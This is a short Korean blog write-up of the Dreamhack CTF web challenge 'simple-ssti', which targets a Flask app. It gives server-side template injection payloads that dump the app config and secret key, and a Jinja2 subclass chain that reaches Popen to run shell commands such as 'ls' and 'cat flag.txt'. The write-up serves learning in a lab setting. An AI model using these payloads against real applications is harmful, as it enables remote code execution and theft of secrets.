Dreamhack(Web) - simple-ssti

O_o22

·

2022. 10. 5. 23:50

 

 
flask 환경인 app.py 파일이 1개 제공된다.
 
 
ssti 취약점답게 템플릿이 있고 % request.path 부분이 보인다.
 
 
 
url에 입력한 값이 화면에 경로로 표시된다.
 
해당부분은 이 부분이다. url 에 템플릿을 입력하여 반응을 확인해본다.
 
flask 기반이기에 flask 설정인 config를 템플릿으로 입력해본다. {{config}}
 
 
 예상대로 설정값이 나오고 플래그를 확인할 수 있다.
 
또는 소스코드내에서 app.secret_key = FLAG 라는 것을 보았을 때,
 
{{config['SECRET_KEY']}} 방식으로 flag를 뽑을 수 있다.
 
여기까지 해서 문제를 풀었는데, 다른 사람의 풀이를 보니 새로 알게된 방법도 있었다.
 
os 라이브러리를 가져와서 그 안에있는 함수를 실행할 수 있다는 것이다
popen 같은 것..
 
{{''.__class__.__mro__}} 으로 사용가능한 클래스가 무엇인지 확인한다.
 
 
 
 

{{''.__class__.__mro__.[1].__subclasses__()}} 을 입력해 서브 클래스들을 확인할 수 있다.

 

이중에서 popen 클래스를 사용할 것이다.

 

에디터에서 찾기 기능으로 popen 클래스가 몇 번째 있는지 확인한다.
 

{{''.__class__.__mro__[1].__subclasses__()[408]('ls',shell=True,stdout=-1).communicate()}} 을 입력해 ls 명령을 사용한다.

 

 

정상적으로 작동하니 cat flag.txt로 플래그를 얻을 수 있다.

반응형